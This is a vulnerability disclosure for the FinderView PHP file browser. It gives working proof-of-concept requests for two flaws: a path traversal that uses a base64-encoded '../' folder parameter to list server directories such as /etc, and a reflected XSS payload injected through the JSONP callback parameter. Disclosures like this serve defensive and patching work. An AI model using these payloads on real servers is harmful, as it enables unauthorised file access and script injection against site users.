FinderView - Multiple Vulnerabilities

# Exploit Title: FinderView - Multiple Vulnerability(Path Traversal/Reflected XSS)
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/proin/
# Software Link: https://github.com/proin/FinderView/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability1 - Path Traversal(view directory)
Request
GET /vul_test/FinderView/api.php?callback=jQuery21107685743998649676_1466662516225&type=get&mode=0&folder=Li4vLi4vLi4vLi4vLi4vLi4vZXRjLw==&_=1466662516227 HTTP/1.1
Host: 127.0.0.1
..snip..
Connection: keep-alive

Response
jQuery21107685743998649676_1466662516225([{"folders":[{"name":"backups","folderuri":"Li4vLi4vLi4vLi4vYmFja3Vwcw==","folderuri_nobase":"../../../../backups","size":"0.0 KB","date":"15 June 2016"},
..snip..
,{"name":"opt","folderuri":"Li4vLi4vLi4vLi4vb3B0","folderuri_nobase":"../../../../opt","size":"0.0 KB","date":"26 August 2015"},{"name":"run","folderuri":"Li4vLi4vLi4vLi4vcnVu","folderuri_nobase":"../../../../run","size":"0.0 KB","date":"23 June 2016"},{"name":"spool","folderuri":"Li4vLi4vLi4vLi4vc3Bvb2w=","folderuri_nobase":"../../../../spool","size":"0.0 KB","date":"26 August 2015"},{"name":"tmp","folderuri":"Li4vLi4vLi4vLi4vdG1w","folderuri_nobase":"../../../../tmp","size":"0.0 KB","date":"23 June 2016"},{"name":"www","folderuri":"Li4vLi4vLi4vLi4vd3d3","folderuri_nobase":"../../../../www","size":"0.0 KB","date":"22 January

### Vulnerability2 - Reflected XSS
http://127.0.0.1/vul_test/FinderView/api.php?callback=jQuery211027821724654516156_1466662510279}}1c027%3Cscript%3Ealert%281%29%3C%2fscript%3Ecf2ea&type=get&mode=0&_=1466662510280